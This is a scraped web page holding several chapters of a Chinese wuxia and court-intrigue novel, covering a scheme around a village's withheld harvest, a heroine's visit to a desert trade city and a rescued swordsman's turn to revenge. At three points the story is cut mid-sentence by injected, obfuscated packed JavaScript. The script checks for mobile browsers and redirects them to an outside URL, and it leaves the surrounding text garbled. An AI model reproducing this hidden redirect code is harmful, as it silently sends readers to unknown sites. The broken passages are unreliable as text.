两道白影刺透了两人之后就掠过大漠直奔萧妖雪而去，最后又成为了她腰上的一个装饰。二人死后萧妖雪并没有继续向着京都而去，而是偏转马头奔向大漠的深处。 这次来西域，她还有一个重要的地方要去。 鬼月杀人之事尘埃落定，朝廷便将精力都集中到了秋收的事情上，财政司最近忙得不可开交，各地的税粮都一次送到了京都，可偏偏就在这时候，梅良因为没能扛过丧女之痛投河了，只是这次他死的有理有据，倒也没有人愿意再追查，他到底是不是自杀，而是快速将他手上的的公务分了分，保证着财政司的正常运行。 都说秋收冬藏，现已是初冬，今日朝堂之上，最后一批稻米也送到了朝堂，总体来说各地的稻米产量都是大大的增加，唯有原来稻米稳居前十的良田村，送来稻米远不足原来的四分之一，而当地的官员给出的结论却是良田村地理位置特殊，只能种原先的那种稻米，现在的稻米一种就死。看在整个东梁的产量都还比较乐观的情况下，圣人也不愿为这么一个小地方费神，也是大大奖赏当时致力于推行革稻令的一众官员，而李治得到的奖赏也是一笔不小的数字。但是出了宫的李治却还是有一丝担忧，就当他正走向马车时，袁墨却突然在后面叫住了他：“李大人！” 见李治站定，袁墨也是快步走了上去道：“李大人，您是不是也觉得这良田村的产量有些奇怪？” 李治打量了一下袁墨，感受到他恐怕有什么事要同自己说，便说道：“袁大人，现在外面风大，不如车上一叙？” 袁墨也不推辞，毕竟现在他是李治名义上的门生，想必李治也没理由害自己，二人走上马车坐定后，李治率先开口道：“袁大人对此事有什么看法？” “我现在没有什么证据，只是前段时间，袁梅担心萧姑娘前去西域，便让我派了两个探子前去，他们却在经过良田村的时候看到有些马贼在追捕一个村民，最后将那人杀死了。” 李治不解，问道：“西域的马贼不少，这也没什么好奇怪的。” “奇怪的不是马贼杀人，而是他们杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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若未来他要为鬼月翻案，必然需要在圣人面前有更多的功绩。那么这朝廷中最多的人就是李治和徐战，只要投靠他们任意门下，自己在刑案司的日子都会比现在好过。届时再加上破获了一起私屯佣兵的案子破获，这在刑案司的说话分量自然是会增加不少，离为鬼月翻案才会更近一步。 各有所图的交易才是最安全的，既然明白了袁墨的心意，李治也不再多言，答应他，之后就会写信给马氏，引荐他们接触。 这良田村此时正式成为这场朝堂风波的核心之地了，谁可以在这场风波中立住脚。 武清小记： 武家府邸，一柄断秋水斜插在池塘中间的太湖石上，空气中弥漫着浓重的血腥气，但是却没有一丝喊叫声。或许就是因为这样安静的环境，才能显得那个倒在血泊中的男子的呼吸声，如此粗重。 “你们到底谁！为何要这样做？”此时的武清，哪里还有半分秋水剑的风度，衣服上被划了好几个大口子，鲜血正一股股往外冒，发髻散乱，加上血红的瞳孔，谁见了都不会与那傲气的少年联想到一起。 “哈哈哈，理由？我们这么做，需要什么理由，哈哈哈哈哈。”说话的男子，武清有印象，但是在单府见过他，只是他叫不出名字。 武清百思不得其解，自己当时离开单府的时候一切都那么正常，为何他们要这样对待他，难道就因为自己拒绝的单骁的邀请，那又何至于下此毒手。 武清提起体内最后一点气息，想要冲上去夺拿人手中的剑，心中只想着同归于尽。却不料还没有近那人身，就被一脚踢回了地上。 “呵，秋水剑？也不过如此。大爷我看你倒是家室和睦，那大爷我就成全你，去和他们团圆。”说罢剑尖直指武清，此时的武清别说躲了，就连抬手遮挡的力气都没有，眼见不断放大剑尖，武清已经心如死灰。 耳畔却环绕着这男子犹如魔鬼般的话语“对了，别忘了告诉他们，他们是为什么死的。哈哈哈哈哈哈哈哈。” 说时迟那时快，眼见长剑即将刺穿武清的胸膛，一柄长枪自侧方而来，一刺一挑，阻挡住了剑尖的前进，随即武清觉得身体一轻，竟然被人扛了起来。 这人他认识，正是之前阻拦自己回家的那个怪人，但是他现在的脑子已经如同一团浆糊，什么都想不了，就任由这人将他带上了马，离开了武府，一路上武清看着熟悉的街道如同走马灯一般在眼前掠过，最终还是抵不过强烈的睡意，闭上了眼睛。 再醒来时已经到了城外，身旁是刚刚带他逃出来的男子拨弄着篝火，篝火的光忽明忽暗的照出另一人。这人他见过就是云阁辩武大会替萧云雁说话的男子，只是他们怎么会在这。 似乎是注意到身旁的动静，身旁的男子说道：“殿下，他醒了。” 武清想说话，但是喉咙却发不出声音，被称作殿下的男子，显然也注意到了“在下德王周钦德，这是我的随从袁清，武公子不必担忧，我们不要你的性命。” 武清自然知道几人是为了救自己，只是现在他的，心中有一抹难以抹去悲伤，或许他需要根本不是救自己的人。 说话间，刚刚在府邸出手的那人也赶到，此时他的脸上也带上一丝疲惫，当然和武清比起来，那可好了太多，来人抱拳道：“殿下。” “他们逃了？” “逃了三人。” “算了，只要这小子没死就好。袁清，你那鬼月的人可还能调动？” “殿下，还有四十号人可调遣。” “好，你去附近寻一个宅子，找几个大夫，将武公子安顿好，确保他在伤势痊愈之前不能受任何伤害，任何人都不可以。” “是！” 23. 胡笳之行 不谈朝廷中的纷争。这西域的的麻烦就如同他的地界一般大，萧妖雪转向后，换回女装，直奔西域第一大城邦胡笳城而去。 胡笳城位置在落雁关之前，作为东梁与西丹的交界处的重镇，这虽不是兵家必争之地，却是东西联通的商贾重镇，至于为什么不是兵家必争之地，全然是因为二十年前的一场联姻。 如今的圣人还只是个王爷，为了稳定两国关系，西丹提出了联姻，送了一位公主过来，当时的圣人还没有三宫六院，对这位结发妻子也是情谊深厚，谁料之后西丹易主，不顾公主死活，直接与东梁宣战。朝廷内部大臣们对这后宫中的公主也有颇大的意见，一再上书让圣人休妻，可是圣人念及旧情，但是有为了平息朝堂中声音，下了一封圣旨，命公主前往胡笳城常住，无诏令不得回京。于是胡笳城就逐渐成为了一个独立的区域，东梁和西丹，非必要都不愿意对着这城出手。 这样表面上太平的局面让胡笳城快速成为了两国交界处的商贸重镇，胡笳城的城主名叫江秋鸿是位江湖女侠，早年游历江湖，后面途径胡笳城与当时的城主胡令相恋，不料前城主走得早，这胡笳城的担子就落到了她的身上，如今眼见二人的儿子胡晓枭已经到了可以逐步接管胡笳城的年纪，江秋鸿也打算让他接手历练历练，但谁曾想，这小子年纪到了，但是玩心太盛，根本担不了事，所以胡笳城的场子还得是江秋鸿亲自来撑着。 萧妖雪变装后快马加鞭来到了胡笳城，恐怕是大漠风沙大，掩盖了足迹，后面并没有再遇上良田村的那伙马贼，这一路走的都很是顺利。 入了胡笳城，入眼的景色与他地截然不同，要说落雁关中汉人多，总体城池的结构与京都还有几分相似，这胡笳城则是混杂了两国的建筑。东梁的房屋外形简洁大气，西丹的则喜欢在素色的墙壁上加上带有佛教成分的一些绘画，二者看似冲突却在胡笳城达成了巧妙的结合。街上的墙壁建筑风格是东梁的灰底砖瓦房，但是墙壁上又会点缀些图案，为这大漠中的城池增加了几分鲜活的色彩。 街边的小摊也不似京都那样推一个小车，而是用一块毯子平铺于地上，货物就这样随意地堆放在毯子上，等到要离开时，这毯子一卷便裹着货物就走了。 整个胡笳城的建筑都比较低矮，除了一座阁楼，大漠地势平坦，胡笳城外都可以看到这座阁楼。阁楼不是卯榫结构，而是青铜铸成，这样也有效的规避了大漠风沙的侵蚀。而这栋楼在萧妖雪看来就极其眼熟，毕竟它与谷内的那座五层楼高的青铜书堂如出一辙。不错这也正是萧妖雪此次前来胡笳城的目的地——潇湘阁。 良田村距离京都还有一段距离，一些消息传到京都未必全面，在这时来着胡笳城还可以避开那伙马贼的追击，只是回到京都的时间又要再往后推一推了。 胡笳城中人头攒动，鱼龙混杂。萧妖雪进了胡笳城后并没有在其他地方停留而是直奔潇湘阁，却一路上她就隐约觉得有人在身后跟着她，但是每每回头都不见踪影。 潇湘阁前是一条热闹的集市，萧妖雪混入集市后便闪身进了一条小巷，之后掏出行囊中准备好的面具戴上，这面具白色之上有三眼，正常眼睛位置的两眼是笑眼看人，但是眉心处那一眼却是怒目圆睁，似乎要看清这世间所有事情。戴好面具的萧妖雪确认之前锁定她的那股视线已经消失后，离开了小巷，再度混入了人群不见踪影。 这一日胡笳城的潇湘阁一如既往的人来人往，胡笳城的潇湘阁在众多阁中地位不低，一来是这里有不少兵士，保证着它作为一个青楼存在的收入，二来则是，胡笳城可以同时得到两国的消息，所以这里潇湘阁建筑规模是也是相当之大。 萧妖雪进到阁中只有一种恍惚的感觉，楼内不似京都有那垂下的红色绸缎，也不再是木质结构的庄重感，阁内的墙壁都是用红色和金色的颜料粉饰过，就连流动的水中也隐隐透着金色，好一幅纸醉金迷的情景，楼里仅有几扇开窗换气，若不特意向外望去根本分不清这是白日还是深夜，想必此时楼里不少客人也是这样的感受吧。 今日负责迎客的是纤红，因为年纪还小所以阁主只吩咐她做点迎来送往的活，纤红见到了萧妖雪，因为她带着面具一时也很难判断她的来意，毕竟在这胡笳城呆久了什么样的人都会遇到，但是就是遇不上善茬，所以她们对待每一个客人都必须格外谨慎，就比如眼前这位带着古怪面具的客人。 “客人看着面生，今日来我们潇湘阁所为何事？”姑娘的声音倒是颇为温柔，恐怕那些刀口上舔血大汉听了，这骨头都要酥化了。 萧妖雪并未说话，而是拿出了之前在京都给沈轻离看的那块令史令来，给那姑娘看了一眼。纤红看到了令史令，又看看了萧妖雪，也没多说，便将她引到了顶楼的一个房间中，同样是备好了茶水，便退了出去。 而当房门再次推开后，进来的是一个身材火辣的女子，身上披着红纱，虽说气质也不似沈轻离那般妖娆，但乍一看就让萧妖雪这样的女子都不由得红了脸。 女子看了看萧妖雪放在桌上的令史令，躬身一拜开口道：“凤漠宁见过令史令。”显然对这个令史的出现并没有多意外，看来来这胡笳城交易的人果然是复杂。 萧妖雪也不绕弯子，抬手示意她坐下后，就开门见山的说：“这良田村最近是发生了什么吗，我近日途经觉着这村子似乎不太对劲。”说话的时候萧妖雪那是拿出了一锭金子放在桌上，示意凤漠宁自己并不是仗着身份就要白打听的，同样也是告诉希望她知无不言。 凤漠宁看看桌上的金子，开口道：“奇怪的事可不少呢。来，令史大人咱们喝点茶慢慢聊。”说着就给萧妖雪倒了一杯茶，萧妖雪接了过去但是并没喝。 淡淡开口道：“你不用打听我的身份，我不是沧州的令史，我只是偶然路过这，解决完良田村的事，我就会离开。” 凤漠宁也是明白人，令史属于她的上级，就算她再想知道，人家不愿意说，自然再过多过问就不礼貌了。 就只能继续回答她的问题：“良田村的名字是先皇赐的，因为作为西域唯一高产粮食的地方，是这边重要的支柱。前不久，当朝宰相受命推行革稻令，还专门派了人去良田村，一番改造后，预计的收成会在之前的基础上翻上一番。村民都很有干劲，但是就在来推行的革稻令的官员走后不久，徐战大将军返京的队伍途径了此处，停留了足足两日，走之后，队伍的人马少了一大半。据说连之前跟着离开边关的将军孙凯之都不见了踪影。” “孙凯之？“ “不错，就是徐战私军鬼字营的首领，不过经过我们潇湘阁调查，恐怕这鬼字营真的去当鬼了。“ “怎么说？” 凤漠宁似乎就喜欢这样有问有答的对话，总是喜欢留一些悬念给萧妖雪，但是也会很快的把问题解决。 “徐战走后，这良田村突然就封了村，封村的不是官员也不是村民，而是一伙马匪，但是从鸟雀传来的消息看，这伙马匪中有孙凯之的身影。 前不久革稻令的收成要上交了，良田村却没有按预料中产出一倍的粮食，仅仅上交了压着征收线的量，给出的理由是新粮不适应环境，大多都死绝了。” 这次不等凤漠宁停顿，萧妖雪就开口道：“不适应？我前几日去良田村，看那里的稻田倒是生长的很好。” 凤漠宁一挑眉，显然她们也派了不少人去打听良田村的情况，但是与马家一样一无所获，而眼前这位令史竟然进了良田村还全身而退了，看得出来实力着实不一般。 “既然是这样，恐怕没有交上去的粮食与那消失的鬼字营有些关系。”凤漠宁也陷入了沉思，是这这大漠天高地阔，阳光普照下这么一个营的人能藏到哪里去。 正当凤漠宁还在陷入沉思时，萧妖雪再度发问道：“凤阁主，可曾听说过良田村附近有个公主坟？” 听到这凤漠宁的双眉突然拧紧，这茫茫大漠里的坟不少，却是有那么一座公主坟，只是这坟里真的能藏人？ “令史大人的意思是，他们会藏在坟里？” “凤阁主，劳烦您派几个武功不错的人去查探一下，不用入坟，把周围情况和路线都帮我查清楚了，我会尽亲自进去。若里面真的是孙凯之，你们不是他的对手，没必要做无用的牺牲。我这几日暂时不会离开胡笳城，若有收获派人送信到客栈即可。” “是，令史，我这就安排人去。”凤漠宁做事倒是风风火火，得了萧妖雪的指令也不墨迹，转身就离开房间。 胡笳城的潇湘阁顶楼并没有窗户，屋内的烛火跳动，不断拨动人的心弦，私自屯兵那可是大罪，这徐战又怎会不知，一个鬼字营想要造反那必然远远不够的，那他冒这个风险的意义是什么，除非…… 除非他想将这私自屯兵的罪名安在别人身上！ 此时京都之中，袁墨已经收到李治将他引荐给沧州马氏的消息了，信上说马家家主马志才正好最近在京都附近办事，这几天会来一趟京都，可以见面详谈。 袁墨本是准备好亲自去趟沧州，没想到这马家家主一来倒是省了他不少事，回到家本想着把这事情告诉袁梅，让她帮忙想想到底怎么样才能探得这良田村的情况，不想袁梅竟然自告奋勇的说自己亲自去探。想来也是来京都这小半年无事可做，这刚好遇上点事情便想着自己亲自出手。不过这也免去了袁墨的一些担忧，快速思考片刻也答应让袁梅跟随自己去见马志才。 马志才的邀约并没有让袁墨等待很久。那日清晨几人约在京都外的一个庄子中间见面，冬日的城郊，草木上都挂满了白霜，寒气逼人。袁家兄妹来到了约定地点，一个身着锦袍华服的大汉已经站在那里。这人穿着却是极尽富贵，布料、做工都是京都上乘的绣纺的出品，但是穿在他身上却有一说说不清楚的违和感。此人皮肤黝黑，虽然衣服面料柔软，但是穿在他身上，却有种盔甲的感觉，似乎这人天生就应当，抡铁锤，着盔甲，饮烈酒。 那人听到有脚步声，便抬眼望去，看见是两个年轻后生也还是微微一惊，但是毕竟见过这么多风浪，也没表现的太过明显，而是热情的上前鞠了一躬，道：“马志才见过袁大人，之前听李大人说袁大人年少有为，没想到这是真年轻呀。” 袁墨自然也听出他语气中一些怀疑，但是自己有求于人不宜太过计较，开口道：“马家主，久仰久仰，今日袁某找你呢，确实也是有一事想要请教。” 马志才听到这话也是哈哈一笑，将袁墨二人引入庭中，坐定后，拿出刚刚温好的酒，给袁墨倒了一杯。袁墨浅尝了一口，酒水入口甘甜，有淡淡的果香回味，但是咽下之后，只觉得周身像是被点燃了一样，脸腾得就红了起来。 马志才看到他这样更是笑得合不拢嘴，道：“这酒是我沧州最烈的酒，没有名字，外面也买不到，是我家那位酿的，我喝了这么多年了，始终是喝不腻。” 袁墨强行压下喉咙中的灼烧感，开口道：“马家主，我这次找您，是想问问那良田村的事。”话一出口，袁墨只觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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将该给的东西给完后，马志才就起身离开了，同时屋顶上也落下一人，正是刚刚杀气的来源——骨谙，二人相伴走向了马车。在袁家兄妹看来马志才看起来乐呵呵的，像是捡了天大便宜，殊不知在马志才见他们之前，李治就已经送了他一枚上等的龙纹玉佩，这才是他乐呵的真正原因。 袁清小记： 自那夜袁清按照周钦德的吩咐安顿好武清之后，他已经有一月未再见到周钦德了，但是他对自家主人的钦佩却更深了。 当时周钦德让他做加派人手保护武清，袁清以为是因为担心那些人卷土重来，但是安顿好之后，却迟迟未见人来。 以袁清对于自家主子的了解，他这次的判断，可没有出现过那么大的差错，但是袁清一时半会还是没有发现其中的异样。 只是直到武清身上的伤已经恢复大半，他可以自己下床行走用膳的时候，袁清终于看清楚了其中的门道。 这武公子之前躺在床上，餐食都是仕女喂进去，现在他可以自己吃饭了，却一口都不吃，这是要把自己活活饿死的节奏。 多次劝阻无果后，袁清只好暴力解决，点了武清的穴让他就这样静静地坐在那，然后亲自一口一口将饭喂进去，确保他不会就这样活活饿死。 但是正喂这袁清就发现这小子不对劲，眼泪一直止不住的流，但是好说歹说还是把饭给吃了。 自这一餐之后，这小子就正常多了，吃饭这件事上就没有再作妖了。 但是袁清也是见过不少将死之人的人，他清晰的感觉到，这小子眼中透露着死气。后来武清的伤势又好了不少，这小子说他想练练剑。 袁清倒是没有犹豫，将他的秋水剑直接给了他，只是暗中也将一些在外巡逻的鬼月暗卫调了进来，千叮万嘱咐一定看好这小祖宗，小祖宗心里估计琢磨着自刎。 果不其然，才拿到秋水剑的第二天，武清就自刎了，但是被鬼月的暗卫及时制止了。袁清也第一时间将这个消息传给了周钦德。 晚上周钦德就出现在了院子，看着被五花大绑扔在床上的武清，连连叹气，对袁清说道：“袁清你……这倒也不必这样。快给武公子松开。” 可是袁清却不动半分。 “袁清？” “殿下，不可。是您嘱咐我不能让任何人伤武公子半分。” 周钦德之举得哭笑不得，于是就对着被裹成一个粽子的武清说道：“武公子，抱歉呀，委屈你一下，咱们现在就只能这样说话了。但你今日的行为确实不对呀！” “殿下救我一命，武清甚是感激，但是武家惨案，皆因我而起，武清又有何颜面苟活。” “武公子，你这样想确实没错，但是我问你你就打算这样两手空空下去见你的家人吗？” “殿下什么意思？”武清对于周钦德这样说很是不明白，他既然觉得自己该死，又为何要救自己呢？ “我的意思是，你真不觉得你至少应该提着那个姓单的脑袋下去吧。” “……”回应他的却是沉默，但是在场所有人都看得出来，武清眼中的那丝死气，已经消散了，取而代之的是复仇的火焰。 “好了，袁清给他松开吧，我觉得武公子现在应该没那心思求死了。” 身上的被子松开后，武清第一件事就是对着周钦德跪下，重重地磕了一个响头。都说男儿膝下有黄金这一个拜已经足矣说明一切了。 “殿下我们接下来要怎么做？”袁清问道。 “去见一个人，到时候一起说。” 24. 胡笳之行2 萧妖雪离开潇湘阁的时候已经傍晚，大漠的夜晚总是很漫长，胡笳城里不少地方已经升起阵阵炊烟。萧妖雪这次进城并没有刻意掩饰自己的身份，若有人问起她的身份她则是大大方方亮出之前李安国给自的胡笳城的令牌，以及自己宰相之女的身份，所以没过多久这李家的嫡女来了胡笳城的消息，就传遍了大街小巷。 萧妖雪走在胡笳城的路上，路过一个头发已经花白老人的摊子，她的摊子上放的东西不多，放眼望去都是一些普普通通的手工制品，而其中一支小臂这么长的一支笛子，这笛子不似京都中那些用各种名竹做成的笛子，花纹复杂，各有含义。这支笛子看起来更像是用某种骨头打磨而成，笛身有些泛黄，圆孔打磨得却不算圆润，一看就是手工打磨的。但是却给人一种肃杀的感觉。萧妖雪弯腰拿起骨笛开始观察，老人并没有多言，但是眼神一直停留在那支笛子上，黄浊的眼神里透露着不舍。 正当两人都看着笛子看得入迷时，一个声音打断了两人的思路。“这是骨笛，这支笛子应该是用猎鹰的胫骨作成的，大概有十年了，只是圆孔打磨的不够细腻，恐怕吹出来的音调不会太准吧。” 萧妖雪闻声望去，身旁站的是一个年轻俊美的男子，乍一看是东梁的面容特征，但是眼眶、鼻梁的起伏比寻常的东梁人会更深一点，面部的棱角也会更锋利一些。这人穿的衣服也是东梁款式的华服，布料用的却是与水纹锦齐名金沙缎，金沙缎不似水纹锦那般轻盈动人，而是有一种厚重感，皇家一般遇上盛大的节日庆典，所用到的衣物都会选择金沙缎，又或是冬日寒气重风大，不少家境比较不错的世家制备冬衣时都会将金沙缎考虑在备选材料之内。就因这实用性和宣传的广泛度，金沙缎的价格也比水纹锦便宜了不少，更为世人所熟知。 就在萧妖雪打量男子时，老人也开口道：“胡笳郡王真是好眼力，这根骨笛是早些年我们家那只猎鹰的胫骨。那只鹰跟了我们近四十年，从我家老头子才是个乳臭未干的小娃时就跟着他，最后猎鹰死了，他也老了，没有力气再打猎了。不想他这四十年的陪伴就这样入土，所以把那猎鹰的胫骨作成了这骨笛。” 未等萧妖雪开口，胡笳郡王就开口道：“即使如此珍贵之物，又为何拿来此处便卖呢？” 老人叹了一口气，眼神又不舍的看向那支骨笛“如今关外纷乱不断，关内打家劫舍的马贼时不时又跑出来作乱，我们家呀已经揭不开锅了，儿女在忙活一天也赚不到几个子，运气不好再被那马贼一截，就真的什么都没了。我也是想着，老头子已经不在了，我再一走也不会有人记得了，倒不如换点钱财，算帮他们最后一个忙了。” 萧妖雪听了后，心头一动，略作沉默，从口袋里掏出一块碎银，交给老人，说道：“这支骨笛我买了，但是东西我带走无用，你就留着做个纪念吧。不过以后你也不能再卖它了，留在身边也好，找个地方埋了也好，你自己定夺吧。” 得了银子，老人连连道谢，眼见天色已晚，急忙忙收拾东西离开了，原地就留下了萧妖雪和这位胡笳郡王。 “胡笳郡王？这是何意？” “萧姑娘这么叫就生疏了，什么胡笳郡王都不过是虚名，在下周明理。”说罢周明理一拱手，看起来倒是文质彬彬，但是不知是不是因为受这大漠风气的影响，萧妖雪只觉得这位三殿下与京都中那些贵胄不一样，似乎多了一些痞气。 不过如今终于是如愿以偿的见到了这位传说中的三皇子。 当今圣上，有二子最得圣宠一是二子周明志，一是五子周明启。二子才德兼备，为人谦逊，行事心思细腻，与朝中不少朝臣交好，圣人对他甚是喜爱，只是苦于他表现出来的野心有些薄弱，圣人也是有几分担忧。 五子周明启则是野心勃勃，拜了徐战为师，精通兵法诡道，又习得一身好武艺，称王称帝的野心昭然若现。 至于这三皇子，当今全天下的人都不觉得他可以称帝，毕竟他的母亲正是那西丹的公主叶冥，若是他称了帝，那这东梁江山岂不是要分西丹一半。圣人自然也明白这个道理，所以封了个胡笳郡王，便让他和他母亲安度这余生。 只是今日亲眼一见，或许此人并非传言中那般不堪。 “萧妖雪见过殿下，刚刚礼数不周多有得罪，不知道殿下有何吩咐？” “诶，都说这了，这不是在京都，不必这么多理解，在萧姑娘自在些便是了。再说了，你这说的是哪里话，萧姑娘远到胡笳城是客，我久居于此是主。哪有主不见客的说法，更何况还是这么美丽的客人，怎么就不能说说？” “啊？”前半句给萧妖雪听的是觉得这人确实自在，只是这后半句却让人觉得这人是不是太自在了？ “哈哈哈哈，刚刚是玩笑话，明日恰逢胡笳城主设宴，也邀请了本王前去，你看我们这么有缘分就遇上了，不如一同赴宴？我相信你会在宴会上有不错的收获。” 不愧是胡笳城呀，说什么明天刚好设宴，今日萧妖雪上午时分入了城，入城时出示的就是自己真实的身份，想必那时城中的各大势力就已经知道她的到来，只是她之后混入潇湘阁的速度太快，让他们都有些猝不及防，所以只有等她离了潇湘阁在到处乱晃的时候才能出面邀请她，只是萧妖雪也没想到，这出面邀请她的竟然会是胡笳郡王本人，却又邀请她去了胡笳城主的晚宴。要知道他们二人的关系可从来没有好到这个地步，恐怕今夜这宴会上少不了幺蛾子。 “既然是殿下的邀请，妖雪怎有不去的道理。”胡笳郡王亲自出面这晚宴万万没有推脱的道理，而此次萧妖雪来这胡笳城也正是想看看这胡笳城中两股势力态度如何，所以便顺水推舟的爽快地答应了周明理的要求。 “萧姑娘来这胡笳城想必是舟车劳顿，本王已经为你安排好住宿所，不如赏个脸一起过去？” 显然周明理就是有备而来，未等萧妖雪肯定的答复，便一招手，停在不远处的马车就缓缓驶了过来。萧妖雪此时觉得要不是自己身后有潇湘阁的势力撑腰，她现在就想连夜离开这全是算计的地方。 既然明日的鸿门宴都答应他了，今日这区区一辆马车她萧妖雪又有何不敢上。 车厢内点着暖炉，事先煮好的茶散发着淡淡清香，果盘、糕点应有尽有，还点了一柱不明的香，闻起来让人心神安宁。 上车后，萧妖雪率先开口道：“我知道殿下不是恰巧想让我去这宴会，殿下说说吧，这场交易到底怎么做？” 周明理微微一笑，也是露出了，早就知道你会这样问的表情：“萧姑娘是聪明人，我这人就喜欢和聪明人打交道。不知道萧姑娘可否知道这胡笳城有一件镇城之宝？” 萧妖雪记得之前入城从那些商贩口中时不时就会说到这件宝贝，似乎是一颗极其稀有的夜明珠。不过此事自己知之甚少也不便多言。 周明理见萧妖雪不接话，也不尴尬，又自顾自的说了起来：“这镇城之宝是前谷主从沙海里掏出来的一颗夜明珠，这夜明珠白日就会散发淡淡的金光，但是一到夜里就会发出明亮蓝光，放于纱幔之中，就好似漫游于海浪之中。最关键的这枚夜明珠出自前西丹太子叶甄的坟墓，叶甄本是身负大气运之人，这气运还未舒展，便被断了根，先西丹皇担心此番会对西丹气运有所反噬，便将这颗极品夜明珠于他陪葬，希望这珠子可以暂时封印着股气运。如今夜明珠重新现世，这里面的气运也跟着再现。要我看，胡笳城能有今日的繁荣，和这枚珠子脱不了干系。” 萧妖雪虽说自幼练气，明白世间万物都有自己的气运，但是要说什么将气运存在一颗珠子里这样的话，她显然是不信。 自古气运都不能改变什么，不过是帝王拿来笼络人心的说法罢了，恐怕也是那位西丹前太子，走得不体面，才有了这样的说法。 听了周明理这长篇大论的说了一堆，萧妖雪也觉得有趣，一个出生在帝王家，却一辈子注定不能称王的人，竟然所思所想还是这帝王术，这天下的江山就真的这么好吗？ 不过无论他是有心称王，还是贪恋钱财，这夜明珠恐怕他是势在必得，若能凭此与一位王爷交好，日后完成潇湘阁阁主的本职也会容易些。 “好呀，这枚珠子我帮你拿了，就是不知道殿下想要拿什么来换？”萧妖雪思考盘算后给出了回复。 好似早就预料到她会这样问，周明理道：“不如就用这枚珠子作为谢礼吧，若是萧姑娘觉得还不够，就算我再欠你一人情，如何？” “给我？”萧妖雪对于这个答案略感惊讶，没想到这周明理刚刚将这夜明珠吹得天花乱坠的，现在反倒是赔这人情让给自己，这着实有点奇怪。 见到萧妖雪的疑问，周明理也是匆匆解释道：“萧姑娘不要多想，只是你拿了这夜明珠也算帮了我，所以我愿意再赔这人情。” 这越说萧妖雪越糊涂，但既然答应了别人的事也没有不做的理由。反正管他三七二十一，得了颗珠子又得了个人情，这有什么不好的。 “不知萧姑娘可曾婚配？”又是一个无厘头的问题，萧妖雪此时非常想立刻下车走她也要走回去。但是对方可是胡笳郡王，这里可是胡笳城。 “不知殿下问这是何意？” “我久居胡笳，对于京都的事情知之甚少。这不难得一见京都来的人，便想得打听打听。” “久居胡笳？知之甚少？那他还那么快就知道自己认回厉害的事，果然满嘴胡话，不过他打听自己的婚事作甚。”萧妖雪心中难免犯起了嘀咕。 虽然嘴上没说，但是周明理似乎是看出她的想法一般，说道：“不过想来，萧姑娘才认回李家不久，婚事应当没有那么快有眉目，但是你作为当朝宰相的千金，未来的夫婿定然是风流倜傥，英俊潇洒，王孙贵胄，封侯拜相。” “殿下也知道这高门贵族中的婚姻无不是父母之命，媒妁之言。你我就不必再此猜测。还是说殿下对这个风流倜傥，英俊潇洒，王孙贵胄，封侯拜相的夫婿感兴趣呀。” 刚刚言罢，马车就停靠在了胡笳城最大的客栈，周明理还被萧妖雪突如其来的挑逗，愣在原地，她可没想到这女子竟然如此……不过她毕竟是在潇湘阁中长大的，这一切或许也合理吧。 临下车，萧妖雪突然问道：“还不知道殿下这车内点的是什么香？” “西域洛神香。”一问一答便再无多言。 周明理让小厮帮萧妖雪拿着东西进去安顿住下，自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633620|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己先行回府。一路上回味着今日的见面，只觉得这女子，果真简单，就看看明日宴会上她会如何应对了。 萧妖雪回房后也开始斟酌今日周明理的意图，这人既希望她拿下夜明珠，但是又不想要，难道是希望她将这夜明珠带回京都。若真是她带了回去，就表明了胡笳城的立场，必然是朝向东梁的。 但是据萧妖雪所知，这李治当年办的那场英雄宴，也给这对胡笳城的夫妇发了请帖，但是当时胡令病重，江秋鸿又不屑于参与这样的聚会，所以胡笳城无人出席，再加上这宴会极尽奢靡的情况传到了江秋鸿的耳朵里，她对李治的好感度又一降再降，但是这都不是她对于东梁朝庭厌恶的干本所在还是那桩鬼月旧案，当年江秋鸿与袁清相熟，袁清出事后，她三天不眠不休赶到京都想要见他一面，却不料那一面就是在刑场上的诀别。 当江秋鸿再回到胡笳城的时候，她几近想带着胡笳城就此反了，但是还是受到了周明理母子二人的牵制，让胡笳城只是小小的内乱了一下，甚至连消息都未传到京都。 如今这周明理要这夜明珠难道是想架空这位胡笳城主，但是若他自己掌了权，恐怕会引来两国的忌惮，反倒让他做什么事都不能随心所欲，届时两国边界烽火再起之时，胡笳城恐怕难再独善其身了。但是若把这夜明珠交给了李家，恐怕整个东梁的矛头都会对准李家，本就是一代奸相，手中大权在握，如今又得一城的说话权，恐怕就算圣人再想装作视而不见，也是不可能的。等这朝庭一旦对李家动了手，这胡笳城的夜明珠恐怕又要流落坊间，到时候谁能做得了这渔翁，就难得说了。 长夜漫漫，冬日的胡笳城又飘了一场大雪，将金黄的沙漠染成了白色。胡笳城的雪夜极尽寒冷，每间房屋中除了人们熟睡的声音，就只剩下木柴噼里啪啦的响声。 今日卖出骨笛的老人独自一人坐在火堆前，手里拿着那支骨笛细细端详，像是在思念故去的老伴，又或是那支陪伴他们几十年的猎鹰，再或是那段平静安宁的日子。下午那那女子出钱买了这支笛子，却又把它留了下来，看来日后它还要跟着自己再过段苦日子，老人突然想到若它真被那女子买走了，会不会也像那些名贵的乐器一般保养，还是只是他们富贵人家的一时兴起的玩物罢了。 